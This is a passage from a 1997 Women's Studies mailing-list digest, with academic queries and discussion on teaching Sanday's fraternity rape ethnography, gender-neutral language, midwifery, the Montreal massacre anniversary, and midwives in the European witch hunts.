Deborah Rosenfelt. Janet Zandy of the Rochester Institute of Technology is now the Editor of the WSQ, and in 1999, the two issue scheduled are Women and the Environment; and Women, Science, and Technology. So the three-year sub is a bargain. Institutional rates are $40 for one year; $100 for three years. When we get onto the Web, I'll let you know at once. We will have a special section devoted to THE WOMEN'S GUIDE TO THE WIRED WORLD, edited by Shana Penn, also just out. To order by phone: 212-650-8966 To talk to me: 212-650-8147 To phone in general: 212-650-8890 To FAX: 212-650-8893 Thanks for listening: Florence Howe florench @aol.com ========================================================================= Date: Fri, 5 Dec 1997 10:33:03 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Jean Potuchek Subject: Inquiry about Using Sanday's Work on Fraternity Rape Comments: cc: dfiedler@cc.gettysburg.edu Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Hello All, I am writing for a colleague who is not on the list. Here is her inquiry: > Have you ever used Peggy Sanday's ethnography on gang rape in >American fraternities in a course, or know anyone who did? I am >considering using it in my gender course next semester but I am curious to >hear experiences on using it since I anticipate a strong student response >to it. Let me add that our students are predominantly upper-middle-class white 18-22 year olds. Most of the students in this class (an Anthropology of Gender course) will be women, and many of them will be sorority members. Responses may be sent directly to my colleague, Debbie Fiedler, at dfiedler@gettysburg.edu. Or you may send them to me and I will forward them to her; or you may post them to the list if you think they are of more general interest. Thanks for your help. --------------- Jean L. Potuchek Department of Sociology Gettysburg College jpotuche@gettysburg.edu 717-3376196 ========================================================================= Date: Fri, 5 Dec 1997 10:50:27 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Amy L. Wink"" Subject: Collins' The Law and the Lady In-Reply-To: <1.5.4.32.19971205153303.00681b6c@popserver.cc.gettysburg.edu> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Does anyone know of a good article on Wilkie Collins The Law and the Lady. I am particularly interested in articles that discuss gender codes and the masculine gaze, identity, and subjectivity. ****************** Dr. Amy L. Wink Department of English and Philosophy Stephen F. Austin State University P.O. Box 13007, SFA Station Nacogdoches, Tx 75962-3007 (409) 468-2007 awink@sfasu.edu A Letter always feels to me like immortality because it is the mind alone without corporeal friend. Indebted in our talk to attitude and accent, there seems a spectral power in thought that walks alone."" Emily Dickinson _Selected Letters_ (#330, p. 196) ******************* ========================================================================= Date: Fri, 5 Dec 1997 11:32:53 MST Reply-To: Women's Studies List Sender: Women's Studies List From: Analouise Keating Subject: Spirituality Web Sites Hi. I'm looking for Web sites on womanist/feminist/women's spirituality. If you know of any please email me privately at AnnLouise.Keating@enmu.edu Thanks! ========================================================================= Date: Fri, 5 Dec 1997 12:31:28 EST Reply-To: Women's Studies List Sender: Women's Studies List From: ""Gina Oboler, Anthropology & Sociology, Ursinus College"" Subject: Re: A naive question Here's another naive question: Are you assuming, Beatrice, that ""biological"" and ""contextual"" are the only choices available for explaining patterns of behavior/""traits""? What happened to the impact of cultural ideology or residue of early childhood socialization or social learning -- or for that matter socialization in later life? ========================================================================= Date: Fri, 5 Dec 1997 13:43:18 EST Reply-To: Women's Studies List Sender: Women's Studies List From: Jenny Lloyd Subject: Re: WMST L: Re: birthing and midwifery With reference to Ehrenreich and English's book on midwives and witches, historians (including women's and gender historians) agree that the is no firm evidence that midwives were singled out in the European witch hunt, so its thesis needs to be nuanced. There is a wealth of scholarship on the witch hunt itself. You might look at Jessica Mitford, The American Way of Birth (Penguin, 1992) for a recent history of midwifery in the US. Jenny Lloyd SUNY at Brockport jlloyd@acspr1.acs.brockport.edu ========================================================================= Date: Fri, 5 Dec 1997 14:10:08 CST Reply-To: Women's Studies List Sender: Women's Studies List From: Shelley Reid Subject: Re: gender-neutral language In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" I don't know about the journals, but just about every tech-writing book I've looked at in the past few years now has a section on gender-neutral language. They may not yet all believe it's important in and of itself, but the threat of sexual harassment lawsuits is enough to have it included in the advice to newly-professional writers. If it's not changed yet (and now you've got me itching to go open up a couple of business journals even though they're not my field!), change seems to be coming along. shelley ------ >Meanwhile, >anyone out there familiar with writers/submission guidlines used by >journals in business or technical fields? Comments on trends? >Thanks, >Miriam K. Harris, Ph.D. >mharris@utdallas.edu ----- ***** Shelley Reid English Department, Austin College (Home of the Fighting Kangaroos) Sherman, TX 75090 SREID@austinc.edu ***** ========================================================================= Date: Fri, 5 Dec 1997 15:57:44 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: Re: Spirituality Web Sites MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT > Hi. I'm looking for Web sites on womanist/feminist/women's > spirituality. If you know of any please email me privately at > AnnLouise.Keating@enmu.edu I recently added a site called Under Shekhina's Wings: Cross-Cultural Women's Spirituality (http://www.geocities.com/Athens/1501/ ) to my Women's Studies/Women's Issues Resource Sites page (http://www.umbc.edu/wmst/links.html ). I think Under Shekhina's Wings may be a good place to start--it offers a number of links to related sites. Joan Korenman ***************************************************************************** * Joan Korenman korenman@umbc2.umbc.edu * * U. of Md. Baltimore County * * Baltimore, MD 21250 http://www.umbc.edu/wmst/ * * * * The only person to have everything done by Friday was Robinson Crusoe * ***************************************************************************** ========================================================================= Date: Fri, 5 Dec 1997 13:28:28 -0500 Reply-To: msacks@world.std.com Sender: Women's Studies List From: Marc Sacks Subject: Re: gender-neutral language Comments: To: mharris@utdallas.edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Miriam Harris wrote: > > anyone out there familiar with writers/submission guidlines used by > journals in business or technical fields? Comments on trends? As someone who's been in the business (specifically software) world for the last two decades, I've been quite aware of gender neutral language and find it generally accepted (though often awkward and unfamiliar) among writers. In technical writing I've tried to balance he's, she's, his/hers, etc. while scrupulously avoiding ""they/their"" as a pronoun with any singular antecedent. Where possible I use plural subjects so as to avoid the difficulty of singular pronouns. In fact, so familiar is this practice by now that the use of ""he"" or ""men"" in older writing distinctly calls attention to itself. Aside from my own practice, I find gender-neutral writing practically if not actually a standard for technical documentation, and Microsoft's style manual, a quasi-bible on writing for audiences in the computer industry, has a long section on gender-neutral writing practices. Marc Sacks msacks@world.std.com ========================================================================= Date: Fri, 5 Dec 1997 16:34:47 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: DAPHNE PATAI Subject: Re: gender-neutral language Comments: cc: DAPHNE PATAI In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Relating to Shelley's message below, is Shelley saying that it is illegal (as opposed to unpopular) to use gendered language? I can't quite imagine how such a lawsuit could be framed. Would it be part of a ""hostile environment"" claim? Do people on this list feel that's an appropriate use of sexual harassment law? > > I don't know about the journals, but just about every tech-writing book > I've looked at in the past few years now has a section on gender-neutral > language. They may not yet all believe it's important in and of itself, > but the threat of sexual harassment lawsuits is enough to have it included > in the advice to newly-professional writers. If it's not changed yet (and > now you've got me itching to go open up a couple of business journals even > though they're not my field!), change seems to be coming along. > > shelley -- ====================== Daphne.Patai@spanport.umass.edu ========================================================================= Date: Fri, 5 Dec 1997 16:52:14 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Ruby Rohrlich Subject: Re: Inquiry about Using Sanday's Work on Fraternity Rape Comments: To: Jean Potuchek In-Reply-To: <1.5.4.32.19971205153303.00681b6c@popserver.cc.gettysburg.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Peggy Sanday has also written a book on societies that have no rape at all; it's a very interesting and important book, and looking through a list of her publications should give you the title of this book. Ruby Rohrlich rohrlich@gwis2.circ.gwu.edu ========================================================================= Date: Fri, 5 Dec 1997 15:10:00 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Lisa Gerrard Subject: Spirituality Web Sites Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" AnnLouise, two sites that have sections on women's spirituality are yOni (http://www.yoni.com/) and Wise Women of the Web (http//www.neosoft.com/~acoustic/www.html). Also, two sites I don't have the URLs for--SisterSite, which is concerned with women's religious congregations (they're an outgrowth of sister-list: sister-l@listserv.syr.edu) and COGWEB (Covenant of the Goddess), an organization of Wicca congregations (the site owner's address is cogweb@cog.org). Lisa Lisa Gerrard gerrard@humnet.ucla.edu ========================================================================= Date: Sat, 6 Dec 1997 00:59:32 +0100 Reply-To: thomasg@ifi.uio.no Sender: Women's Studies List From: Thomas Gramstad Subject: Re: gender-neutral language In-Reply-To: Marc Sacks 's message of Fri, 5 Dec 1997 13:28:28 -0500 > In technical writing I've tried to balance he's, she's, his/hers, > etc. while scrupulously avoiding ""they/their"" as a pronoun with > any singular antecedent. Actually, ""singular they and their"" is a perfectly clear and valid construction with a long historical tradition in English literature. For examples and documentation, see, e.g., ""The singular ""their"" in Jane Austen and elsewhere: Anti-pedantry page"" at: http://uts.cc.utexas.edu/~churchh/austheir.html Thomas Gramstad thomasg@ifi.uio.no ========================================================================= Date: Fri, 5 Dec 1997 19:07:27 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Nan Mullenneaux Subject: Re: birthing and midwifery In-Reply-To: <199712041906.OAA05830@host.warwick.net> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Robbie E. Davis-Floyd has a great artical, The Technocratic Model of Birth, in FEMINIST THEORY AND THE STUDY OF FOLKLORE, Susan Tower Hollis, Linda Pershing, M. Jane Young, editors, 1993 University of Illinois Press that discusses almost all the aspects of the birthing process in the US that you mentioned and more. On Thu, 4 Dec 1997, Libra wrote: > I had lunch yesterday with a woman who has a PhD and is a nurse midwife. > She and some of her colleagues are trying to address the widespread > misconceptions and confusions around birthing in the USA - i.e. that pain > is to be avoided at all costs (the ubiquity of the epidural), the fears > around ""loosing control"" while laboring, and not yelling while laboring, > etc. Related, is the devaluation of breastfeeding. While we were talking I > realized that I have rarely seen accounts about birthing or midwifery in > women's studies. > > Can anyone help me to make some connections here? > > Denise Bauer > libra@warwick.net > ========================================================================= Date: Fri, 5 Dec 1997 16:18:41 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Patricia Novotny Subject: Re: gender-neutral language In-Reply-To: <199712052134.QAA13607@emily.oit.umass.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Ditto for me. I can't think of any authority that would support a sexual harassment claim based on gendered language. And I'm not sure I would want it to. Even cases involving sexualized language (some of it very foul) can be problematic, and courts struggle with them and end up all over the map. On Fri, 5 Dec 1997, DAPHNE PATAI wrote: > Relating to Shelley's message below, is Shelley saying that it is illegal > (as opposed to unpopular) to use gendered language? I can't quite > imagine how such a lawsuit could be framed. Would it be part of a > ""hostile environment"" claim? Do people on this list feel that's an > appropriate use of sexual harassment law? > > > > > I don't know about the journals, but just about every tech-writing book > > I've looked at in the past few years now has a section on gender-neutral > > language. They may not yet all believe it's important in and of itself, > > but the threat of sexual harassment lawsuits is enough to have it included > > in the advice to newly-professional writers. If it's not changed yet (and > > now you've got me itching to go open up a couple of business journals even > > though they're not my field!), change seems to be coming along. > > > > shelley > > -- > ====================== > Daphne.Patai@spanport.umass.edu > ========================================================================= Date: Fri, 5 Dec 1997 19:51:16 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: holzman Subject: Re: Inquiry about Using Sanday's Work on Fraternity Rape In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=""us-ascii"" At 04:52 PM 12/5/97 -0500, Ruby Rohrlich wrote: >Peggy Sanday has also written a book on societies that have no rape at >all; it's a very interesting and important book, and looking through a >list of her publications should give you the title of this book. >Ruby Rohrlich rohrlich@gwis2.circ.gwu.edu > One place where Sanday's cross-cultural rape can be found is: Sanday, P. R. (1981). The socio-cultural context of rape: A cross-cultural study. Journal of Social Issues, 37, 5-27. An important critique of Sanday can be found in: Rozee, P. D. (1993) Forbidden or forgiven? Rape in cross-cultural perspective. Psychology of Women Quarterly, 17, 499-514. __________________________ Clare Holzman 330 West 58th Street, 404 New York, NY 10019 212 245 7282 holzmr01@mcrcr.med.nyu.edu __________________________________________________ ========================================================================= Date: Sat, 6 Dec 1997 08:32:39 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: how to stop WMST-L mail temporarily (User's Guide) MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Today's monthly excerpt from the WMST-L User's Guide: ****************** 5) ""I'M GOING ON VACATION FOR SEVERAL WEEKS. CAN I STOP MAIL WHILE I'M AWAY, OR DO I HAVE TO UNSUBSCRIBE?"" You can stop mail temporarily (except for the edited digest) by sending the following message to LISTSERV@UMDD (if you subscribed on Bitnet) or LISTSERV@UMDD.UMD.EDU (if you subscribed on Internet): SET WMST-L NOMAIL [NOTE: NOMAIL is one word] When you want mail to start arriving again, send the following message to the same address: SET WMST-L MAIL If you want to stop the edited DIGEST, even temporarily, you have to send the message AFD DEL WMST-L PACKAGE WMST-L . To re-start it, send the message AFD ADD WMST-L PACKAGE (and ignore the request that you establish a password). Note: BE SURE TO SEND THESE MESSAGES TO LISTSERV, NOT TO WMST-L! Also, if you receive a message back telling you you're not a subscriber, see section 4) [posted yesterday]. ****************** Each month, I post sections from the WMST-L User's Guide to remind subscribers of the list's resources and procedures. If changes have been made since the last time a section was posted, the subject header will begin ""Revision:"". Also, you can now consult the User's Guide anytime you'd like if you have access to the World Wide Web. The URL is http://www.umbc.edu/wmst/user-guide.html . You can also get a copy of the guide via e-mail by sending the message GET GUIDE WMST-L to LISTSERV@UMDD.UMD.EDU . Joan Korenman Internet: korenman@umbc2.umbc.edu Bitnet: korenman@umbc ========================================================================= Date: Sat, 6 Dec 1997 12:47:54 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Cheryl Tallan Subject: 8th anniversary Montreal massacre MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII This is a message from the December 6 Fund of Toronto, slightly edited by me. On December 6, 1989, 14 women were murdered in Montreal: Annie St-Arneault, Maryse Laganiere, Genevieve Bergeron, Barbara Daigneault, Helene Colgan, Maryse Leclair, Barbara Klucznik, Annie Turcotte, Anne-Marie Edward, Nathalie Croteau, Maud Haviernick, Michele Richard, Sonia Pelletier and Anne-Marie Lemay. Women of every race and class are abused and killed. We mourn, and work and study for knowledge of the causes and effects of violence. Cheryl Tallan ctallan@chass.utoronto.ca ========================================================================= Date: Sat, 6 Dec 1997 13:10:14 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Kira McCarthy Subject: Re: 8th anniversary Montreal massacre Comments: To: Cheryl Tallan Comments: cc: politidykes@queernet.com, mhobbs , ggeorge , glake , lthrasher , jmccoll In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII hello. i am seeking assistance... today is december sixth and i am at home instead of participating in the planned events on my campus. i am doing so because i am angry. i am writing to ask if my anger is valid in anyone elses eyes... this year, it was decided by someone at trent that the ""white ribbon campaign"" was going to be ""more inclusive."" by this, it is meant that women are buying and wearing white ribbons. i have always thought that the purpose of the white ribbon campaign was for men to take responsiblilty for men's violence against women. the white ribbon says to me, ""i am a man and i am against men's violence against women."" for me to see women wearing this ribbon, i am getting two messages: 1. women are carrying the financial burden of paying out money that they may not have thinking that they are making a positive political, anti-violence statement. 2. the responsibilty for ending violence is being placed back on women. violence...ending violence is not the responsiblity of one sex, but i am feeling really angry and ...discouraged that this has happened. am i over reacting? i am planning to write a letter in the first edition of the school paper after the holidays to respond to what has made me so upset. i was wondering if i could have some feedback on this issue... first i mourn...now i want to DO something. thanks for your time, kira mccarthy, a woman who wont be silenced... kira trent university peterborough, ontario ========================================================================= Date: Sat, 6 Dec 1997 14:46:25 EST Reply-To: Women's Studies List Sender: Women's Studies List From: Women's Studies Student Org Subject: job opening: Spanish and Women's Studies MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: 7BIT Spanish and Women's Studies UNIVERSITY OF GEORGIA. Assistant Professor. Tenure track. Area of specialization: US Latina Studies. Joint appointment in Romance Languages and Women's Studies. Requirements include strong background in Anglophone and Hispanophone Latina studies; native or near native proficiency in Spanish and English; commitment to growth of the Women's Studies Program. Academic training in Women's Studies preferred. Undergraduate and graduate courses divided equally between Spanish and Women's Studies. Ph.D. required. Publications and teaching experience desirable. Submit letter of application, cv, transcripts, 3 letters of recommendation, and sample of scholarship by December 15 to: Doris Kadish Department of Romance Languages University of Georgia Athens, GA 30602 ========================================================================= Date: Sat, 6 Dec 1997 22:22:38 GMT Reply-To: cje@tavi.co.uk Sender: Women's Studies List From: Tina Eager Subject: Re: teaching intro WST, utilizing the web, web pages ** Reply to note from ""Women's Studies List"" Thu, 4 Dec 1997 14:50:02 +0000 > > I'll be teaching an Introductory WST course shortly and I'd like to > solicit ideas from listers about teaching the course. Specifically, > I'd like to know more about the following: > > 1. special exercises, in class projects that have been successful > I have found it useful, during the first two or three weeks to get students to write a short (500 - 1,000 word) autobiography (not assessed) in which I ask them to reflect upon the ways in which being female or male has affected their life choices so far, and to highlight the effect they gender has had. They can choose to hand this in for comments or not, whicheverthey prefer, and we then use it as a basis for a discussion about gender expectations and as a way of picking up on common gender biases etc. Of course, I have to do it as well. I find this works in a number of ways, not just in making students think about various gender issues, but also it helps for people to discover common ground, to build a kind of group awareness and also helps in forming relationships with and within the group. We can then use this material later when talking about various aspects of WS and the difference between theory and actuality. Tina Eager Business School Mid-Kent College of HE & FE, Chatham, Kent UK cje@tavi.co.uk ========================================================================= Date: Sat, 6 Dec 1997 17:33:56 EST Reply-To: Women's Studies List Sender: Women's Studies List From: KATHKNIGHT Organization: AOL (http://www.aol.com) Subject: Sources of funds for printing? Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Kathryn Corbett and I have just finished a 200-page history of the first 25 years of the WS program at Humboldt State, and so far we've not found a way to get it published. Does anyone know of possible sources of funding for printing and distributing such a project? Thanks very much in advance. Kathleen Preston Psychology & Women's Studies (retired) Humboldt State University Arcata, CA 95521 KathKnight@aol.com ========================================================================= Date: Sat, 6 Dec 1997 04:50:25 -0500 Reply-To: sandyl@nervm.nerdc.ufl.edu Sender: Women's Studies List From: Sandra Lorean Organization: University of Florida Subject: Re: Inquiry about Using Sanday's Work on Fraternity Rape MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I would appreciate it if you posted responses to the list. Jean Potuchek wrote: > > Hello All, > I am writing for a colleague who is not on the list. Here is her inquiry: > > > Have you ever used Peggy Sanday's ethnography on gang rape in > >American fraternities in a course, or know anyone who did? I am > >considering using it in my gender course next semester but I am curious to > >hear experiences on using it since I anticipate a strong student response > >to it. > > Let me add that our students are predominantly upper-middle-class white > 18-22 year olds. Most of the students in this class (an Anthropology of > Gender course) will be women, and many of them will be sorority members. > > Responses may be sent directly to my colleague, Debbie Fiedler, at > dfiedler@gettysburg.edu. Or you may send them to me and I will forward them > to her; or you may post them to the list if you think they are of more > general interest. > > Thanks for your help. > > --------------- > Jean L. Potuchek > Department of Sociology > Gettysburg College > jpotuche@gettysburg.edu > 717-3376196 ========================================================================= Date: Sat, 6 Dec 1997 20:12:31 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Max Dashu Subject: Re: WMST L: Re: midwives in witch hunts Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" >With reference to Ehrenreich and English's book on midwives and witches, >historians (including women's and gender historians) agree that the is >no firm evidence that midwives were singled out in the European witch >hunt, so its thesis needs to be nuanced. Several 15th-century witch hunt tracts, including the very influential _Malleus Maleficarum_, target midwives as likely witches. An earlier tract, _Le Vauderie de Lyonais en Brief_, (1460) charges midwives with diabolist murders: ""Vaudois [this term had come to mean 'witch'] midwives kill infants. They gather herbs, at certain times and with certain conjurations, with which they work evil; they also have ointments for this purpose..."" [source: Henry Charles Lea, Materials Toward A Study of Witchcraft] These accusations were part of an attack on midwives and healers (vide St Bernardino's accusations that folk healers killed babies) who still practiced herbal magic and incantations. A concerted offensive by the clergy in the 1400s sowed suspicion of midwives and witch healers among the populace, and yielded a wave of accusations in the 1500s and beyond. (For many centuries, the clergy had levelled the charge of infanticide at women who used herbal contraceptives, abortifacients, knots and incantations for birth control, in the early medieval penitential books.) There are many documented cases in the 1500s of midwives tried for witchcraft, and quite a bit of evidence that they were viewed as having supernatural powers or connections (negatively, as in the Swiss hunts, or positively, as recent Bulgarian folklore demonstrates for a region free of witch hunting). I discuss this subject in greater depth in my slide presentation, ""Witch Hunts."" Max Dashu Suppressed Histories Archives email: maxdashu@lanminds.com PO Box 3511 Oakland CA 94609 USA >>>International Women's Studies, founded 1970<<< ========================================================================= Date: Sat, 6 Dec 1997 21:02:27 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Linda Deutschmann Subject: Re: WMST L: Re: midwives in witch hunts In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Max, Thanks for this information. I have written a deviance text that deals with historical theories of deviance, and I teach about the witchcraft craze as moral panic. I suppose part of the problem with ""who"" the witches were was that this changed over time and place to focus on different issues. Its my understanding that by the 1600s, midwives had been targetted for more than two centuries , and other groups were added right up till the 1700s. I'd like to know more about your slide show! Linda Deutschmann On Sat, 6 Dec 1997, Max Dashu wrote: > >With reference to Ehrenreich and English's book on midwives and witches, > >historians (including women's and gender historians) agree that the is > >no firm evidence that midwives were singled out in the European witch > >hunt, so its thesis needs to be nuanced. > > Several 15th-century witch hunt tracts, including the very influential > _Malleus Maleficarum_, target midwives as likely witches. An earlier tract, > _Le Vauderie de Lyonais en Brief_, (1460) charges midwives with diabolist > murders: > > ""Vaudois [this term had come to mean 'witch'] midwives kill infants. They > gather herbs, at certain times and with certain conjurations, with which > they work evil; they also have ointments for this purpose..."" [source: > Henry Charles Lea, Materials Toward A Study of Witchcraft] > > These accusations were part of an attack on midwives and healers (vide St > Bernardino's accusations that folk healers killed babies) who still > practiced herbal magic and incantations. A concerted offensive by the > clergy in the 1400s sowed suspicion of midwives and witch healers among the > populace, and yielded a wave of accusations in the 1500s and beyond. (For > many centuries, the clergy had levelled the charge of infanticide at women > who used herbal contraceptives, abortifacients, knots and incantations for > birth control, in the early medieval penitential books.) > > There are many documented cases in the 1500s of midwives tried for > witchcraft, and quite a bit of evidence that they were viewed as having > supernatural powers or connections (negatively, as in the Swiss hunts, or > positively, as recent Bulgarian folklore demonstrates for a region free of > witch hunting). > > I discuss this subject in greater depth in my slide presentation, ""Witch Hunts."" > > Max Dashu > > Suppressed Histories Archives email: maxdashu@lanminds.com > PO Box 3511 Oakland CA 94609 USA > >>>International Women's Studies, founded 1970<<< > ========================================================================= Date: Sun, 7 Dec 1997 11:21:55 CST Reply-To: Women's Studies List Sender: Women's Studies List From: Shelley Reid Subject: Re: gender-neutral language In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Let me clarify: I believe that the perceived threat of sexual harassment lawsuits has wrought changes in the corporate world that, rightly or wrongly, go way beyond response to the strict legal interpretations. At least that's what my students perceive, and what corporate-world friends tell me. I'm sad that simple changes such as using inclusive language have had to come as a result of fear (and have had to come so reluctantly in some places), sad that they get framed as a ""PC-police"" action. But there's no denying that concern over the fine legal lines of appropriate mixed-gender interactions in the workplace has spurred a variety of policy changes. Perhaps an acceptance of gender-neutral language would have proceeded as quickly even without the (over)generalized legal concerns; I'd sure like to think so.... shelley >Ditto for me. I can't think of any authority that would support a sexual >harassment claim based on gendered language. And I'm not sure I would >want it to. Even cases involving sexualized language (some of it very >foul) can be problematic, and courts struggle with them and end up all >over the map. > >On Fri, 5 Dec 1997, DAPHNE PATAI wrote: > >> Relating to Shelley's message below, is Shelley saying that it is illegal >> (as opposed to unpopular) to use gendered language? I can't quite >> imagine how such a lawsuit could be framed. Would it be part of a >> ""hostile environment"" claim? Do people on this list feel that's an >> appropriate use of sexual harassment law? >> >> > >> > I don't know about the journals, but just about every tech-writing book >> > I've looked at in the past few years now has a section on gender-neutral >> > language. They may not yet all believe it's important in and of itself, >> > but the threat of sexual harassment lawsuits is enough to have it included >> > in the advice to newly-professional writers. If it's not changed yet (and >> > now you've got me itching to go open up a couple of business journals even >> > though they're not my field!), change seems to be coming along. >> > >> > shelley >> >> -- >> ====================== >> Daphne.Patai@spanport.umass.edu >> sreid@austinc.edu ========================================================================= Date: Sun, 7 Dec 1997 09:56:36 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: mail clutter? try WMST-L edited digest MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Today's monthly excerpt from the WMST-L User's Guide: 6) ""DOES WMST-L EXIST IN A DIGEST FORMAT?"" Yes. If you choose the edited digest option, each day you will receive anywhere from one to five files containing most of the WMST-L messages of the past day (messages that should not have been sent to the list to begin with are omitted). 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To unsubscribe and stop the digest, put AFD DEL WMST-L PACKAGE WMST-L on line 1 and UNSUB WMST-L on line 2. ************************ Each month, I post sections from the WMST-L User's Guide to remind subscribers of the list's resources and procedures. If changes have been made since the last time a section was posted, the subject header will begin ""Revision:"". Also, you can now consult the User's Guide anytime you'd like if you have access to the World Wide Web. The URL is http://www.umbc.edu/wmst/user-guide.html . You can also get a copy of the guide via e-mail by sending the message GET GUIDE WMST-L to LISTSERV@UMDD.UMD.EDU . Joan Korenman Internet: korenman@umbc2.umbc.edu Bitnet: korenman@umbc ========================================================================= Date: Sun, 7 Dec 1997 14:00:56 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Susan S. Klein"" Subject: You May Appy to be an OERI Visiting Scholar Comments: cc: irene_harwarth@ed.gov Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Dr. Irene Harwarth who is handling this for the Office of Educational Research and Improvement (OERI) in the U.S. Department of Education asked that I share this with you and encourage you to share it with potentially interested colleagues. Attention will be given to selecting scholars from under-represented groups such as women and minorities. Dr. Jesse Bernard a world famous sociologist who studied family and women's issues was one of the first visiting scholars in OERI's predecessor agency, The National Institute of Education. Thanks, Sue Klein, OERI (sue_klein@ed.gov). _____________________________________________ The OERI Visiting Scholars Program To Choose Fellows The Office of Educational Research and Improvement (OERI) is the office of the U.S. Department of Education that provides national leadership for educational research and statistics. The office funds education research, demonstration, and school improvement programs; collects and analyzes statistics; reports on the condition of education; and disseminates information about education programs. OERI is pleased to announce the first OERI Visiting Scholars Program since OERI's reorganization in 1994. The OERI Visiting Scholars Program seeks Fellows to assume a 9 to 18-month residency in Washington, D.C. at one of the five National Research Institutes that are a part of OERI. On behalf of OERI, the National Research Council (NRC) will conduct a national competition to award fellowships for each of the five institutes to scholars, researchers, policymakers, education practitioners, librarians, or statisticians who are engaged in the use, collection, and dissemination of information about education and educational research. Application forms are available from the NRC. Application forms must be mailed to the NRC's Fellowship Office in an envelope postmarked no later than January 5, 1998. The awards will be made in April 1998 to those individuals who show the greatest promise for contributing to the designated institute and future achievement in educational research. Fellows can begin their residency at OERI as early as June 1998 or as late as January 1999. For more information please contact: Fellowship Office National Research Council 2101 Constitution Avenue Washington, DC 20418 (202)334-2872 Irene Harwarth (Irene_Harwarth@ed.gov) is the OERI coordinator for the program. She can be reached at (202)219-1756. ========================================================================= Date: Sun, 7 Dec 1997 12:57:32 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Max Dashu Subject: Re: WMST L: Re: midwives in witch hunts Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" >I have written a deviance text that deals >with historical theories of deviance, and I teach about the witchcraft >craze as moral panic. I suppose part of the problem with ""who"" the witches >were was that this changed over time and place to focus on different >issues. It changed, and yet there were certain constants, not least of them the accusation of common women. (References to serf women being burned as ""mascae"" are found in the 7th-century Lex Rotharii, north Italy, while 17th-century observers were still describing the primary victims of hunts as poor old women.) Another constant would be the association of ""witch"" and ""whore,"" a pair of epithets that were being hurled at women as early as the 9th century (see the laws of king Alfred) and still in use a thousand years later. There were many other variables, of course, and you're right, use of the sorcery charge shifted in different times and regions. For example, from about 1300 to 1460 French and English aristocrats retooled the charge for use as a weapon in court intrigues and power struggles. But even in these cases, it was often common women who were burned as witches (after being tortured or threatened into testifying that the targeted noble/bishop/courtier had hired her to perform sorcery on the king, or whoever). The targeting of old women began to increase dramatically around the mid-1400s and was a major feature of nearly all hunts after that. During the height of the craze, a cyclic pattern emerged: it began with trials of (primarily) poor old women; the circle widened as they were tortured into naming other ""witches,"" gradually including people of other classes, ages, including men; when the proportion of men and the propertied reached a critical mass, the craze short-circuited, only to repeat itself a decade or a generation later. ""Deviance"" from the established order is definitely a big issue in the hunts, whether it's a late 15th-century claim that witches were rebellious peasants, or another charge (from the same era) that they were rebellious women. A number of early modern witch judges who spared accused women set conditions that they stay at home, under male supervision. Reacting to verbal or other abuse in kind was one of the most common triggers of a witch trial, as was female mouthing off in general. It was, after all, the era of the ""witch's bridle."" The trial records are loaded with sexual politics, including the fact that a large number of accused _men_ were related to women who had been accused/tried/burned. Trials in 14th century France and Italy show witches tried for helping deserted or battered women, and in 17th century Italy, a number of battered women were tried as witches, some denounced by their batterers. Accusations of love magic, impotence magic, birth control magic figure in witch trials generally. Spanish Inquisition records of witch trials show women attempting to gain control in their relations with men, which were, of course, heavily weighted against them by law and custom. These inquisitors also persecuted women who passed as men, such as Elvira de Cespedes in the late 1500s. Records show that gays and lesbians were among those burned at the stake in western Europe. Although assertions that witches acted as healers have been in bad odor with orthodox scholars in this century, trial records (particularly in Italy) show many instances of practicing herbalists denounced to the Inquisition, or to secular courts in northern Europe. This is not to say that they were the majority of those tried, but it is clear that one function of the hunts was to criminalize a matrix of residual female professions including herbalism, midwifery, incantation, blessing, counseling, divination and protective magic. Recent European scholarship has turned the corner on the controversy over pagan elements in folk witchcraft (a taboo subject for 